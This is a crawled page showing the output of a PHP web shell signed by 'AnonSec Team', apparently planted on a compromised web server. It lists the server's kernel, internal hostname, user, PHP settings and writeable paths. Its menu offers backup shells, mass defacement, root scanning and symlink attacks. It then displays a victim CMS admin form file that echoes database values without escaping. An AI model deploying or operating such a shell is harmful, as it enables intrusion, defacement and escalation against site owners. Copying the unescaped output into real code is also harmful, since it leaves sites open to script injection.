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/  Your IP : 104.23.197.31   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/karina/prd/cms/apps/views/program/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/karina/prd/cms/apps/views/program/form.php
<style>
	.btn_save:disabled {
		opacity: 0.5;
	}
</style>
<div class="content_ful">
	<div class="table_show">
	<?php
			if($form == "add"){
				$title = "Add";
				$action = $page.'/add_pro';
			}
			else{
				$title = "Edit";
				$action = $page.'/update';
			}
		?>
		<div class="table_head">
			<div class="info"><h2><?php echo $title.' '.$page2;?></h2></div>
			<div class="clearfix"></div>
		</div>


		<hr color="#eee">
		<form action="<?php echo base_url($action);?>" class="form_1" method="post" enctype="multipart/form-data"> 
			<div class="form-group form-group-col-2">
		      	<strong>Image</strong>
				<input type="hidden" name="id" value="<?php echo $detail['id'];?>">
		      	<input type="file" name="img" class="uploadFile">
		      	<input type="hidden" name="img2" value="<?php echo $detail['img'];?>">
		      	<h6>Image Size:1500x500px, max file size 500kb</h6>
		      	<div class="imagePreview">
		      		<br>
		      		<?php
		      			if($detail['img']){
		      				echo '<img src="../../../media/donasi/'.$detail['img'].'" alt="" height="100">';
		      			}
		      		?>
				</div>
		      	<div class="clearfix"></div>
		    </div>
		    <div class="clearfix"></div>
			<div class="form-group form-group-col-2">
		      	<strong>Thumbnail</strong>
		      	<input type="file" name="img_thumb" class="uploadFile">
		      	<input type="hidden" name="img_thumb2" value="<?php echo $detail['img_thumb'];?>">
		      	<!-- <h6>Image Size:1440x575px, max file size 250kb</h6> -->
		      	<div class="imagePreview">
		      		<br>
		      		<?php
		      			if($detail['img']){
		      				echo '<img src="../../../media/donasi/'.$detail['img_thumb'].'" alt="" height="100">';
		      			}
		      		?>
				</div>
		      	<div class="clearfix"></div>
		    </div>
		    <div class="clearfix"></div>
			<!-- <div class="form-group form-group-col-2">
				<strong>Kategori</strong>
				<div class="select-style">
					<span></span>
					<select name="tipe" id="" required="">
						<option>Pilih</option>
						<?php
						foreach ($tipe as $row) {
							if($detail['tipe_id'] == $row['id']){
								echo '<option value="'.$row['id'].'" selected>'.$row['id_title'].'</option>';
							}
							else{
								echo '<option value="'.$row['id'].'">'.$row['id_title'].'</option>';
							}
						}
					?>
					</select>

				</div>
			</div>
			<div class="clearfix"></div> -->
			
			
			<?php
				foreach($lang as $row){
					if($form == "edit"){
						$detail_query= $this->Modglobal->find('donasi_lang', array('donasi_id' => $detail['id'], 'lang' => $row['initial']));
						$detail_lang= $detail_query->row_array();

						$total_karakter = strlen($detail_lang['short_des']);
					}
					echo '<hr>';
					echo '<h2>'.$row['name'].'</h2>';
					?>
					<input type="hidden" name="lang[]" value="<?php echo $row['initial'];?>">
					<div class="form-group form-group-col-2">
						<strong>Title</strong>
						
						<input type="text" name="title[]" value="<?php echo $detail_lang['title'];?>">
						<div class="clearfix"></div>
					</div>
					<div class="clearfix"></div>
					<div class="form-group form-group-col-2">
						<strong>Short Description</strong>
						<textarea name="short_des[]" class="textarea_count" id="" cols="10" rows="5" style="height: 100px !important; "><?php echo $detail_lang['short_des'];?></textarea>
						<small>Jumlah karakter <span class="count"><?php echo $total_karakter;?></span> <b class="info-more" style="color:red;"></b></small>
						<div class="clearfix"></div>
					</div>
					<div class="clearfix"></div>
					<!-- <div class="form-group form-group-col-2">
						<strong>Alt Image</strong>
						<input type="text" name="alt_img[]" value="<?php echo $detail_lang['alt_img'];?>">
						<div class="clearfix"></div>
					</div>
					<div class="clearfix"></div> -->
					<div class="form-group form-group-col-2">
						<strong>Title Description</strong>
						<input type="text" name="title_des[]" value="<?php echo $detail_lang['title_des'];?>">
						<div class="clearfix"></div>
					</div>
					<div class="clearfix"></div>
					<div class="form-group">
						<strong> Text</strong>
						<textarea name="content[]" id="" cols="30" rows="10" class="tinymc" style="height: 400px !important; "><?php echo $detail_lang['content'];?></textarea>
						<div class="clearfix"></div>
					</div>
					<div class="clearfix"></div>
					
					<!-- <div class="form-group form-group-col-2">
						<strong>Tag</strong>
						<input type="text" class="tag_input" name="tag[]" value="<?php echo $detail_lang['tag'];?>">
						<div class="clearfix"></div>
					</div>
					<div class="clearfix"></div> -->
					<?php
					if($form == "edit"){ ?>
					<div class="form-group form-group-col-2">
						<strong>URL Slug</strong>
						<input type="text" name="url_slug[]" value="<?php echo $detail_lang['url_slug'];?>">
						<div class="clearfix"></div>
					</div>
					<div class="clearfix"></div>
					<?php }?>
					<br>
					<?php
				}
			?>
			<hr>
			<!-- <div class="form-group form-group-col-2">
				<strong>Author</strong>
				<input type="text" name="author" value="<?php echo $detail['author'];?>" required="required">
				<div class="clearfix"></div>
			</div>
			 -->
			<div class="clearfix"></div>
		    <div class="form-group form-group-col-2">
				<strong>Status</strong>
				<div class="select-style">
					<span></span>
					<select name="status" id="" required="">
						<?php
						foreach ($status as $i => $row_status) {
							if($detail['status'] == $i){
								echo '<option value="'.$i.'" selected>'.$row_status.'</option>';
							}
							else{
								echo '<option value="'.$i.'">'.$row_status.'</option>';
							}
						}
					?>
					</select>

				</div>
			</div>
			<div class="clearfix"></div>
			<!-- <?php if($form == "edit") { ?>
			<div class="form-group">
				<strong>Tanggal Publish</strong>
				<div class="select-style">
					<span></span>
					<select name="publish" id="">
						<?php
						foreach ($publish as $i => $row_publish) {
							echo '<option value="'.$i.'">'.$row_publish.'</option>';
						}
					?>
					</select>

				</div>
			</div>
			<div class="clearfix"></div>
			<?php  } ?> -->
		    <br>
		    <div>
		    	<a href="<?php echo base_url('artikel');?>" class="btn_cancel close_box">CANCEL</a>
		    	<input type="submit" value="SAVE" class="btn_save close_box">
		    </div>
		</form>
	</div>
</div>

<div class="clone_related" style="display:block">
	<div class="select-style select-style-50  fl">
		<span></span>
		<select name="news_related[]" id="">
			<?php
			echo'<option value="">Pilih</option>';
			foreach ($news as $row) {
				$news_lang_query= $this->Modglobal->find('news_lang', array('news_id' => $row['id'], 'lang' => 'id'),'title');
				$news_lang= $news_lang_query->row_array();
				echo '<option value="'.$row['id'].'">'.$news_lang['title'].'</option>';
			}
		?>
		</select>
	</div>
	<span class="hapus-news" style="padding:10px; color:red; top:10px; position:relative; display:none;">X Hapus</span>
	<div class="clearfix"></div>
	<br>
</div>
<link rel="stylesheet" href="<?php echo base_url('assets/css/amsify.suggestags.css');?>">
<script src="<?php echo base_url('assets/js/jquery.amsify.suggestags.js');?>"></script>
<style>
	#add_related .clone_related{
		display:block !important;
	}
</style>
<script>
	$(document).ready(function() {
		$(".hapus-news").on("click", function() {
			//alert();
			$(this).parent().remove();
		});
		
		$(".add-news").on("click", function() {
            var $clone = $('.clone_related').clone();

            $('#add_related').append($clone);
			$('#add_related .clone_related').removeClass('clone_related').show();
			$('#add_related .hapus-news').show();

			$(".hapus-news").on("click", function() {
				//alert();
				$(this).parent().remove();
			});

		});


		$('.tag_input').amsifySuggestags({
  			type :'amsify'
		});



		/* var tval = $('.textarea_count').val(),
			tlength = tval.length,
			set = 160,
			remain = parseInt(set - tlength);
		$('.count').text(remain); */
		
		$('.textarea_count').keyup(function(e) {
			var tval = $(this).val(),
				tlength = tval.length,
				set = 140,
				set_save = 160,
				remain = parseInt(set - tlength);
			$(this).parent().find('.count').text(tlength);
			//$(this).parent().find('.count').css('border-color','red');
			if (tlength < set) {
				$(this).css('border-color','red');
				$(this).parent().find('.info-more').text(', Minimal karakter 140');
				$('.btn_save').prop('disabled', true);
				//$('.btn_save').att
			}
			else if (tlength > set_save) {
				//$(this).val((tval).substring(0, tlength - 1));
				$(this).css('border-color','#c5cbd0');
				$(this).parent().find('.info-more').text(', Deskripsi melebihi 160 karakter');
				$('.btn_save').removeProp('disabled');
				//return false;
			}
			else {
				$(this).css('border-color','#c5cbd0');
				$(this).parent().find('.info-more').text('');
				$('.btn_save').removeProp('disabled');
				
			}
		})
	});
	$(function() {
	    $(".uploadFile").on("change", function()
	    {

	        var files = !!this.files ? this.files : [];
	        if (!files.length || !window.FileReader) return; // no file selected, or no FileReader support


	        var ini = $(this).parent().find('.imagePreview');
	 
	        if (/^image/.test( files[0].type)){ // only image file
	            var reader = new FileReader(); // instance of the FileReader
	            reader.readAsDataURL(files[0]); // read the local file
	 
	            reader.onloadend = function(){ // set image data as background of div

	                $(ini).html('<img src="'+this.result+'" height="200"/>');
	            }
	        }
	    });
	});
</script>

Anon7 - 2022
AnonSec Team